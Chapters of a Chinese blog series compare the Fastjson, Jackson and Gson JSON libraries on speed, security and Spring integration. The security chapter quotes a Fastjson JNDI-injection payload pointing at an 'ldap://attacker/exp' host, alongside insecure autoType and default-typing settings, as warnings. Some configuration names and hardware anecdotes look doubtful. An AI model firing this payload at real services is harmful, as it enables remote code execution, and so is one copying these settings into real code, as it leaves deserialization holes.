Fastjson的内存模式比较特殊。它的JSON.toJSONString()内部用了ThreadLocal缓存SerializeWriter，减少了对象创建，但带来了另一个问题：大JSON输出时如果不清空缓冲区，这个线程局部变量会一直持有大块内存。见过一个故障案例，线程池复用导致内存缓慢增长，最后OOM。

实测中，Jackson开启JsonGenerator.Feature.USE_FAST_DOUBLE_WRITER后，内存分配速率下降了30%，代价是CPU略有上升。这种权衡需要根据实际场景选择。

CPU开销：火焰图里的真相

用async-profiler抓取的火焰图显示，Gson大量CPU时间花在ReflectiveTypeAdapterFactory的反射调用上。Jackson通过BeanSerializer的预编译优化（需要开启ObjectMapper.registerModule(new AfterburnerModule())）能把反射调用转为方法句柄，CPU利用率下降明显。

Fastjson的CPU开销集中在ASMSerializerFactory生成的字节码上——它用ASM动态生成序列化类，第一次加载成本高，但后续调用很快。这里有个坑：如果你序列化的类频繁动态生成（比如Lambda表达式返回的匿名类），Fastjson会不断生成新Serializer，导致Metaspace持续增长。我们线上就遇到过Metaspace溢出，后来用-XX:MaxMetaspaceSize=256m才兜住。

个人经验与建议

经过这一轮测试，我的结论是：没有绝对的“最强”，只有最适合场景的选择。

如果你做的是高并发、低延迟的微服务，对象结构简单固定，Fastjson确实快。但一定要记得关闭AutoTypeSupport（安全漏洞之源），并且用SerializerFeature.DisableCircularReferenceDetect时要确保业务模型绝无循环引用。

如果项目大量使用Spring Boot，Jackson已经是事实标准，与其替换不如优化。启用Afterburner模块，为高频POJO定制JsonSerializer，能获得接近Fastjson的性能。复杂对象处理场景，Jackson的稳定性比那几毫秒的速度优势更重要。

Gson适合安卓端或者遗留系统改造，API设计最直观，学习成本低。但生产环境务必配置GsonBuilder.disableHtmlEscaping()和setDateFormat，否则默认的HTML转义和日期处理能吃掉你一半性能。

最后说个血泪教训：任何JSON库的性能表现都极度依赖实际数据特征。我建议你在选型前，用真实业务数据跑一遍基准测试。曾经有个项目，测试时用小对象Fastjson完胜，上线后处理大列表时频繁Full GC，不得不半夜回滚换成Jackson。性能这东西，纸上得来终觉浅，绝知此事要躬行。

下一章我们重点看反序列化性能、异常处理成本和线程安全性，这几个因素在分布式系统中往往比纯速度更重要。# 007、性能基准测试（二）：反序列化速度、并发场景与大数据处理

上周排查线上问题，发现某个服务在高峰期频繁触发Full GC。堆dump分析下来，一堆com.alibaba.fastjson.JSONObject对象卡在内存里——又是反序列化时类型信息丢失导致的嵌套结构膨胀。这让我意识到，是时候系统性地对比下主流JSON库在反序列化场景的真实表现了。

反序列化：不只是速度问题

很多人只关心反序列化的吞吐量，但真实场景里，稳定性和内存控制同样关键。先看段典型的问题代码：

// 反序列化时偷懒不指定类型？等着踩坑吧
Object obj = JSON.parse(jsonString);
// 运行时发现是个Map，还得强转
Map<String, Object> data = (Map<String, Object>) obj;

这种写法在Gson和Fastjson里都很常见，但隐患巨大。Jackson强制要求类型信息，虽然代码啰嗦点，但编译期就能发现问题：

// Jackson逼你写清楚类型，这是好事
MyModel model = objectMapper.readValue(jsonString, MyModel.class);

基准测试设计

测试环境：JDK 17，8核CPU，32GB内存。测试数据分三档：小对象（1KB）、业务对象（10KB）、大文档（1MB）。每个库预热5轮，正式跑10轮取中位数。

反序列化测试的关键在于模拟真实场景——字段类型混合、嵌套结构、日期格式处理。我特意加了LocalDateTime和BigDecimal这种容易出问题的类型。

速度对比：意料之外的结果

小对象场景（10000次循环）：

• Fastjson以微弱优势领先，但差距在3%以内
• Jackson紧随其后，Gson慢了约15%
• 但注意，这是关闭了安全检查的Fastjson

大文档场景（100次循环）：

• Jackson反超，特别是在1MB以上的JSON处理
• Fastjson内存波动明显，偶尔出现毛刺
• Gson稳定但缓慢，像头老黄牛

有趣的是，当JSON里混入\\u转义字符时，Fastjson的速度优势瞬间消失。它的默认配置对特殊字符处理不够优化。

并发场景：锁与内存的博弈

开20个线程并发反序列化，问题开始暴露：

// Gson的默认配置是线程安全的，但性能...
Gson gson = new Gson(); // 每个线程自己创建实例
// 或者用静态实例，文档说线程安全

// Jackson的ObjectMapper线程安全，但配置复杂
ObjectMapper mapper = new ObjectMapper();
mapper.configure(Feature.AUTO_CLOSE_SOURCE, false);
// 记得关这个，不然并发读流会出问题

// Fastjson的ParserConfig有全局状态，小心！
// 曾经因为修改全局配置导致线上事故
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 危险操作！

实测发现，Jackson在并发下的吞吐量最稳定。Fastjson虽然峰值高，但CPU使用率波动大，GC次数明显增多。Gson的并发性能基本是单线程的线性扩展，没有惊喜但稳定。

大数据处理：流式解析见真章

处理100MB的JSON日志文件时，必须用流式API：

// Jackson的流式API虽然啰嗦，但内存控制精准
JsonParser parser = objectMapper.getFactory().createParser(file);
while (parser.nextToken() != null) {
    // 按需处理，内存始终保持在KB级
}

// Fastjson也有流式API，但用的人少
JSONReader reader = new JSONReader(new FileReader(file));
reader.startArray();
while (reader.hasNext()) {
    reader.readObject(Model.class);
}
reader.endArray();

// Gson的流式API？嗯...还是用Jackson吧

这里Jackson完胜。它的JsonParser可以精确控制解析粒度，特别适合处理嵌套深、结构不规则的大数据。Fastjson的流式API文档少，坑多，我遇到过数组越界的诡异问题。

内存占用：隐藏的成本

用JProfiler监控发现：

• Jackson在反序列化时内存分配最克制，对象复用做得好
• Gson会创建大量临时对象，但回收及时
• Fastjson在开启Feature.SupportNonPublicField时，会通过反射创建大量FieldInfo缓存

特别是处理数组时，Fastjson的JSONArray内部用ArrayList实现，而Jackson可以直接绑定到原生数组或集合，内存效率高出一个数量级。

类型安全：血的教训

Fastjson的自动类型推导（autoType）曾经是安全重灾区。虽然新版本默认关闭了，但遗留代码里还能看到：

// 千万别在反序列化时开这个
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

Jackson的@JsonTypeInfo注解虽然复杂，但提供了类型安全的多态反序列化。Gson需要注册TypeAdapter，麻烦但可控。

日期处理：时区坑大全

三个库的日期处理策略不同：

• Jackson默认使用UTC，需要显式配置时区
• Gson按Date的默认时区走，容易本地化
• Fastjson的日期解析…看版本，行为不一致

建议统一用ISO8601格式，并在初始化时固定时区：

objectMapper.setDateFormat(new StdDateFormat().withTimeZone(TimeZone.getTimeZone("Asia/Shanghai")));

个人经验建议

经过这一轮测试，我的工具箱策略是这样的：

新项目首选Jackson。虽然API啰嗦，但性能稳定、功能全面。特别是Spring Boot默认集成，生态完善。记得配置一个全局的ObjectMapper Bean，关掉FAIL_ON_UNKNOWN_PROPERTIES（除非你确定要严格模式）。

遗留项目用Gson。如果项目里已经大量使用Gson，别急着换。它的性能虽然不突出，但足够稳定，API简单，学习成本低。配合ProGuard优化后，体积还小，适合Android项目。

Fastjson要谨慎。只在性能敏感且完全可控的内部场景使用。一定要升级到最新安全版本，关闭autoType，避免反序列化任意类型。监控GC和内存，做好兜底。

最后说个反直觉的发现：JSON库的性能瓶颈往往不在库本身，而在你的数据模型设计。减少嵌套层级、避免滥用Map<String, Object>、预分配集合大小，这些优化比换库更有效。

下次我们聊聊序列化定制化——如何优雅地处理枚举、多态和循环引用。# 008、安全性考量：Fastjson的历史漏洞与Jackson、Gson的安全机制

上周排查线上问题，监控突然报警某个服务CPU飙到200%。紧急上机器抓栈，发现线程卡在com.alibaba.fastjson.parser.DefaultJSONParser的某个解析循环里。仔细一看日志，外部传入的JSON数据里嵌套了三十多层的$ref自引用——典型的Fastjson历史漏洞场景重现。虽然版本已经升级，但团队里新同学还是不小心踩了类似的坑。这件事让我觉得有必要专门聊聊这几个JSON库的安全性问题，毕竟这年头业务代码里埋个反序列化漏洞，可比写错业务逻辑严重多了。

Fastjson：漏洞史与设计隐患

Fastjson的漏洞列表长得能写篇论文。从早期的autoType绕过，到后来的JNDI注入，再到各种奇怪的$ref拒绝服务，几乎每年都能在安全社区里看到它的身影。根本原因在于它的设计哲学：默认开启autoType特性，试图通过字符串类名动态反序列化任意对象。这个特性本意是方便，但打开了潘多拉魔盒。

// 危险示例：别在生产环境这样写
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/exp\",\"autoCommit\":true}";
Object obj = JSON.parse(json);

上面这段代码如果放在老版本Fastjson里，直接就能触发JNDI注入执行远程代码。即使后来加了autoType检查，黑名单机制也屡次被绕过。Fastjson的维护者不断补黑名单，但道高一尺魔高一丈。更麻烦的是它的默认配置：为了兼容性，很多安全特性默认不开启，需要开发者手动配置。

// 相对安全的配置（但依然建议升级到最新版）
ParserConfig config = new ParserConfig();
config.setSafeMode(true); // 1.2.68之后才有
// 或者用白名单
config.addAccept("com.yourpackage.");

但说实话，看到项目里用Fastjson我心里就咯噔一下。不是它现在不安全，而是历史包袱太重，团队里随便谁引个老版本依赖，风险就进来了。

Jackson：安全靠严谨设计

Jackson的安全机制是另一套思路。它默认关闭一切危险特性，你必须显式启用才会打开。这种“默认拒绝”的策略在安全领域更受推崇。

ObjectMapper mapper = new ObjectMapper();
// 默认情况下，下面这行会直接报错
mapper.enableDefaultTyping(); // 需要显式调用才会开启多态类型处理

Jackson的多态类型处理通过@JsonTypeInfo注解控制，比Fastjson的字符串类名方式严谨得多。但也不是绝对安全：如果你错误地启用了enableDefaultTyping()，并且反序列化了不受信任的数据，同样可能中招。

// 危险配置示例
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
// 然后反序列化外部数据... 这就打开了漏洞

Jackson真正的安全优势在于它的可配置性。你可以精细控制哪些类能被反序列化：

// 使用PolymorphicTypeValidator做白名单控制
PolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
    .allowIfSubType("com.yourpackage.")
    .allowIfSubType("java.util.ArrayList")
    .build();
mapper.activateDefaultTyping(ptv, ObjectMapper.DefaultTyping.NON_FINAL);

另外Jackson对递归引用和深度限制有更好的支持。你可以通过JsonNode代替直接对象反序列化，先做数据校验：

// 先读为JsonNode，做安全检查
JsonNode root = mapper.readTree(jsonString);
if (root.size() > 1000) { // 简单检查节点数量
    throw new RuntimeException("数据量过大");
}

Gson：极简主义的安全

Gson的安全策略最简单：默认完全不支持多态类型处理。你想通过JSON字符串指定类名？Gson压根没提供这个功能。这种设计虽然损失了灵活性，但从安全角度看反而是好事。

// Gson里根本没有Fastjson那种@type功能
Gson gson = new Gson();
YourClass obj = gson.fromJson(json, YourClass.class); // 必须明确指定类型

Gson的反序列化必须传入明确的Class对象，这就从根源上杜绝了任意类实例化的风险。当然，Gson也不是铁板一块。如果你非要在Gson里实现多态，通常需要自己写TypeAdapter：

// 自己实现的多态适配器，这里要小心别写漏洞进去
class SafeTypeAdapter extends TypeAdapter<BaseClass> {
    @Override
    public void write(JsonWriter out, BaseClass value) {
        // 实现略
    }
    
    @Override
    public BaseClass read(JsonReader in) {
        // 这里如果根据字段动态实例化，同样需要白名单校验
        // 别直接Class.forName(className)
    }
}

Gson的另一个安全优势是它没有复杂的特性矩阵，代码量比Jackson和Fastjson小得多，攻击面自然也小。但相应的，对复杂嵌套和循环引用的处理就需要自己多费心。

实战中的安全配置建议

干了这么多年，我的经验是：安全不是选哪个库的问题，而是怎么用的问题。但库的默认行为确实影响很大。

第一，新项目一律用Jackson。不是因为它绝对安全，而是它的安全配置最清晰。关闭DefaultTyping，用JsonNode做前置验证，对外部数据严格限制深度和大小：

ObjectMapper mapper = new ObjectMapper();
// 这几个配置建议加上
mapper.configure(DeserializationFeature.FAIL_ON_TRAILING_TOKENS, true);
mapper.configure(JsonParser.Feature.STRICT_DUPLICATE_DETECTION, true);
// 深度限制，防止栈溢出
mapper.configure(JsonParser.Feature.STRICT_DEPTH, true);

第二，存量Fastjson项目，先升级到最新版，然后务必开启safeMode。如果因为兼容性不能开，至少用白名单控制：

ParserConfig config = ParserConfig.getGlobalInstance();
config.addAccept("com.yourpackage.model.");
// 拒绝所有其他包

第三，Gson项目保持现状就好，别为了“高级功能”自己实现不安全的多态。需要复杂特性时，考虑局部引入Jackson。

最后说个容易被忽略的点：依赖传递。你项目里可能显式引用了安全的版本，但某个中间件依赖悄悄带进来一个老版本的Fastjson。定期用mvn dependency:tree扫一遍，用<exclusions>排除危险传递。

JSON解析这种基础组件，选型时安全权重应该放在性能前面。一个漏洞导致的线上事故，比你优化100ms接口响应时间严重得多。我现在团队里的规范是：所有对外接口的JSON解析，必须通过统一配置的ObjectMapper实例，禁止new新实例。这样至少保证了安全配置的一致性。

安全这东西，没有一劳永逸。但好的默认配置和清晰的API设计，能让开发者少犯错误。从这个角度看，Jackson的哲学更符合工程实践——它默认把你保护起来，当你明确知道风险时，才自己打开那扇危险的门。# 009、生态系统与扩展：Spring集成、模块化与定制化开发

上周排查一个线上问题，服务突然开始大量抛出JsonMappingException。日志显示是反序列化时找不到合适的构造函数——明明是个简单POJO，之前跑得好好的。最后发现是某次热部署后，某个依赖包里的Jackson模块版本被覆盖了，导致@JsonCreator配置失效。这件事让我重新审视了JSON库在真实项目中的生存状态：光有核心解析能力不够，得看它如何融入你的技术栈，更得看它能不能陪你应对各种妖魔鬼怪。

Spring生态里的隐形战争

Spring Boot默认带的是Jackson。这不是偶然，而是Spring团队在1.x时代就做的技术选型。但如果你在pom.xml里同时引入Gson和Jackson，启动时会看到这样的日志：

MappingJackson2HttpMessageConverter configured
MappingGsonHttpMessageConverter configured

这时候Spring会按Converter列表顺序选择——Jackson通常在前。想用Gson？得手动排除Jackson依赖或者配置优先级。

实战踩坑点：很多团队在微服务迁移时，某个服务悄悄换用Gson，结果发现Spring Actuator的监控接口返回格式变了。因为Actuator的端点序列化走的是默认的Jackson，换库会导致监控系统解析失败。这里有个土办法：重写HttpMessageConverters，但得记得把健康检查、指标这些端点的序列化行为也考虑进去。

模块化设计的本质差异

Jackson的模块化是玩得最彻底的。比如你要处理Java 8的LocalDateTime，得引入jackson-datatype-jsr310模块，然后在ObjectMapper里注册：

ObjectMapper mapper = new ObjectMapper();
mapper.registerModule(new JavaTimeModule());  // 没这行，时间字段直接抛异常
mapper.disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS);  // 别用时间戳格式，可读性太差

这种设计的好处是按需付费——你的应用不需要XML支持？那就不引入jackson-dataformat-xml。但代价是新手容易掉坑里，忘了注册模块。

Gson的扩展相对朴素。你要自定义类型适配器，得继承TypeAdapter：

public class LocalDateTimeAdapter extends TypeAdapter<LocalDateTime> {
    @Override
    public void write(JsonWriter out, LocalDateTime value) throws IOException {
        out.value(value.format(DateTimeFormatter.ISO_LOCAL_DATE_TIME));  // 这里建议统一用ISO格式，别自己发明格式
    }
}

然后注册到GsonBuilder。这种方式更直白，但缺少官方维护的模块仓库，很多适配器得自己写或者找第三方。

Fastjson的模块化？嗯……它走的是另一条路。通过ParserConfig和SerializeConfig来注册自定义序列化器：

SerializeConfig.getGlobalInstance().put(LocalDateTime.class, new MyDateCodec());  // 全局配置要小心，会影响所有线程

问题在于，这些配置是全局静态的。我在生产环境遇到过：某个业务线为了特殊需求改了全局配置，导致其他业务线的JSON格式全乱了。建议用实例级别的Config，别碰全局变量。

定制化开发的真实成本

去年做物联网项目，设备上报的JSON里有个奇葩设计：所有布尔值都用"0"/"1"表示。用Jackson实现定制：

public class ZeroOneBooleanDeserializer extends JsonDeserializer<Boolean> {
    @Override
    public Boolean deserialize(JsonParser p, DeserializationContext ctxt) throws IOException {
        String value = p.getText();
        if ("1".equals(value)) return Boolean.TRUE;   // 设备协议就这么定的，没辙
        if ("0".equals(value)) return Boolean.FALSE;
        throw new IOException("Invalid boolean value: " + value);
    }
}

然后通过@JsonDeserialize注解绑定到字段。看起来清晰，但一旦这种特殊字段多了，代码里会散落一堆注解。

用Gson做同样的事：

Gson gson = new GsonBuilder()
    .registerTypeAdapter(Boolean.class, new ZeroOneBooleanAdapter())  // 注意这里会影响所有Boolean字段
    .create();

更简洁，但作用范围太大，可能误伤正常字段。这时候得考虑用JsonSerializer/JsonDeserializer配合注解自己搞一套，成本不低。

Fastjson的定制入口是ObjectSerializer和ObjectDeserializer：

public class ZeroOneBooleanCodec implements ObjectSerializer, ObjectDeserializer {
    // 得实现两个接口的方法，代码量上去了
}

它的API更接近底层，性能控制更细，但写起来也更啰嗦。而且文档里很少提线程安全的问题——这些编解码器实例如果没设计好，在高并发下会出怪事。

与Spring的深度集成技巧

Jackson最香的是和Spring MVC的无缝配合。比如用@JsonView控制接口返回字段：

@RestController
class UserController {
    @GetMapping("/user")
    @JsonView(Views.Public.class)  // 返回公开字段
    public User getUser() {
        return userService.getUser();
    }
    
    @GetMapping("/user/detail")
    @JsonView(Views.Internal.class)  // 返回内部字段
    public User getUserDetail() {
        return userService.getUser();
    }
}

这个功能在多角色权限的数据返回场景下很好用。但注意：别在Service层里用@JsonView注解，这会破坏分层架构。View应该是Controller层的概念。

Gson在Spring里想实现类似效果，得自己写HandlerMethodReturnValueHandler，大约要200行胶水代码。不是不能做，只是性价比不高。

Fastjson曾经有FastJsonHttpMessageConverter，但因为安全漏洞频发，Spring官方从未正式支持。如果你还在用，建议尽快迁移。我见过有团队在Converter里混用Jackson和Fastjson，根据URL路径选择解析器——这种过度设计后期维护起来简直是灾难。

个人经验包

1. 新项目直接拥抱Jackson。不是因为它绝对最好，而是生态优势太明显。Spring Cloud、OpenFeign、Elasticsearch客户端……这些主流组件默认都对接Jackson。少造轮子，把精力放在业务上。

2. 存量项目谨慎评估迁移成本。如果老系统用Gson跑得稳，别为了技术时髦而换。特别是那些重度使用Gson定制化特性的代码，迁移可能得重写一半的适配器。

3. Fastjson只适合临时场景。数据清洗脚本、一次性ETL任务、内部工具——这些不需要长期维护、且对性能敏感的场景可以一用。生产级Web服务？还是算了，安全团队的漏洞扫描报告会追着你跑。

4. 模块化依赖要锁版本。Jackson的各个模块版本必须严格对齐，比如jackson-core、jackson-databind、jackson-datatype-jsr310最好用同一版本号。Maven的dependencyManagement里一定要显式声明，别让传递依赖搞乱你的依赖树。

5. 定制化代码要有单元测试覆盖。JSON解析的定制逻辑很容易出边界条件问题，特别是处理空值、特殊字符、大数字的时候。测试用例要覆盖设备上报的真实数据样本——我见过测试时用{"flag": true}，上线后设备传{"flag": "1"}直接崩掉的案例。

JSON库选型到最后，其实是在选生态和可维护性。解析速度差个10%？在真实的业务场景里，网络延迟和数据库查询时间早就把这差距淹没了。而一个注解就能搞定字段过滤，或者因为某个漏洞半夜被叫起来紧急升级——这些才是真正消耗工程师精力的地方。工具嘛，趁手最重要。# 010、终章：总结与选型指南——根据你的项目选择最合适的JSON库

上周排查一个线上问题，凌晨两点盯着日志平台，发现一段JSON反序列化代码在特定数据下抛出了JsonMappingException。数据本身来自第三方接口，某个字段偶尔会是空数组[]，偶尔会是空对象{}。团队用的Jackson配置了严格模式，直接中断了业务流程。而隔壁组用Gson的项目却安静如常——同样的数据，Gson默默把两种空结构都转成了空List。那一刻我意识到，JSON库的选择从来不是纯粹的性能竞赛，而是与你的工程场景深度绑定。

一、性能数字背后的真相

先看三组核心数据（基于常见的中等复杂度对象序列化测试）：

• 序列化速度：Fastjson通常领先，尤其在简单POJO场景下能比Jackson快20%-30%。但注意，这是关闭check模式的情况。
• 反序列化稳定性：Jackson在复杂嵌套、泛型、多态类型处理上最可靠，Gson次之，Fastjson在某些边界条件下可能抛出意料外的异常。
• 内存占用：Jackson的流式解析在处理超大JSON时优势明显，Gson的反射方案在小对象上更轻量。

但别急着下结论。去年我们一个物联网项目在ARM Cortex-M7芯片上跑JSON解析，Fastjson的某些优化路径反而因为CPU缓存问题变慢了15%。真实世界的性能，必须放在你的硬件环境、数据特征和并发场景下验证。

二、特性对比：那些文档里没写的细节

日期处理这个坑，我至少填过三次。

// Jackson：默认认时间戳，要自定义得配@JsonFormat
// 团队新人常忘了加时区信息，导致生产环境差8小时
@JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss", timezone = "GMT+8")
private Date createTime;

// Gson：默认居然能读多种格式，但写出去格式不可控
// 第三方接口换格式时，它可能静默解析错误日期

// Fastjson：配置简单但行为诡异
// 1.2.25版本后关了autoType，但历史代码里一堆@Type注解的得重写

泛型反序列化时，试试这个：

// Jackson需要TypeReference，虽然啰嗦但安全
List<User> users = mapper.readValue(json, new TypeReference<List<User>>() {});

// Gson的TypeToken语法类似，但内部实现更“宽松”
// 曾经遇到List<?>里混入Map的情况，Gson没报错，运行时才崩

// Fastjson直接parseArray就行，爽快吧？
// 但泛型嵌套超过两层时，类型擦除问题可能让你debug到半夜

三、安全这道红线

Fastjson的漏洞史简直可以写本书。2020年那次autoType远程执行漏洞，我们紧急升级了所有客户端。但问题在于：你的项目里有没有那些写死了版本号的Maven配置？ 很多遗留系统还在用1.2.47甚至更老的版本。

Jackson也有过CVE，但通常需要较复杂的配置组合才会触发。Gson在这方面记录最好——它的设计哲学就是“少做魔法转换”，反而成了安全优势。

但安全不只是漏洞。数据绑定阶段的类型校验同样关键：Jackson可以配置FAIL_ON_UNKNOWN_PROPERTIES，遇到JSON里有而Java类没有的字段直接报错。这个特性在对接外部API时能提前暴露字段变更。Gson默认忽略未知字段，需要手动配。

四、选型决策树：跟着场景走

如果你在写Spring Boot项目：
直接用Jackson。Spring MVC默认集成它，@RestController那些注解都是Jackson的。没必要引入第二个库增加依赖复杂度。注意调整默认配置，比如关掉FAIL_ON_EMPTY_BEANS，根据项目需求配日期格式。

如果是Android开发：
Gson是首选。包体积小，ProGuard优化效果好，API简单到几乎不用查文档。而且移动端JSON往往结构简单，Gson的反射性能完全够用。别在Android里用Fastjson，那个check模式在低端机上可能拖慢启动速度。

高并发后端服务：
看数据规模。JSON包小于1KB、QPS几千以上的场景，Fastjson确实有优势。但一定要用最新版，并且必须开check模式。大JSON（10KB+）或复杂结构解析，Jackson的流式API更稳。曾经有个电商项目用Fastjson解析订单JSON，某个促销字段嵌套了6层，解析耗时比Jackson多了40%。

嵌入式或IoT场景：
内存紧张就用Gson的轻量模式，或者Jackson的jackson-databind最小化配置。CPU弱的平台慎用Fastjson的“优化”算法。有个智能家居项目用Cortex-M3，我最后选了手动拼接JSON——库再小也是开销。

遗留系统升级：
原来用Fastjson的项目，如果代码里满是@JSONField注解，迁移成本很高。不如原地升级到最新安全版，用SerializerFeature严格模式。原来用Gson的想换Jackson？得考虑那些依赖JsonElement的手动解析代码要不要重写。

五、我的工程实践清单

1. 永远配置日期和时区，不管用哪个库。服务器时区不是你的本地时区。
2. 线上环境关掉美化输出（INDENT_OUTPUT）。那次因为美化输出，日志体积大了三倍，Logstash管道直接堵了。
3. 反序列化时，开启未知字段检测。接口兼容性问题是半夜告警的常客。
4. 压测时别只用完美数据，构造些畸形JSON：字段类型不对、嵌套深度超标、超大字符串。看看你的库是优雅降级还是直接崩溃。
5. 依赖树里检查传递依赖：Spring项目可能带了两个不同版本的Jackson，用mvn dependency:tree看清楚。
6. 考虑备用方案：核心服务可以主用Jackson，但备一份Gson的fromJson方法。那次Jackson版本冲突导致解析失败，就是靠Gson临时顶上的。

最后说点实在的

JSON库之争像极了编程语言辩论——每个人都在捍卫自己熟悉的工具。但工程决策应该冷静：先满足稳定性，再考虑性能，最后才是写法优雅。

我现在的默认选择是Jackson，不是因为它最强，而是因为它最“可预测”。它的严格模式让很多问题在测试阶段就暴露出来。Gson是我的备用工具箱，适合快速原型、配置解析和小工具。Fastjson我只在性能确实成为瓶颈、且团队有能力把控安全时才会考虑。

深夜调试JSON解析异常的经历，让我养成了一个习惯：在序列化/反序列化代码周围，永远包一层try-catch，并打上足够的上下文日志。因为不管选哪个库，数据总会有你意想不到的形态。而好的工具不是让你永远不遇到问题，而是在问题发生时，给你足够的线索快速解决它。

JSON库不过是工具，真正重要的是：你知道你的数据流向了哪里，以及当它变形时，如何温柔地把它扳回正轨。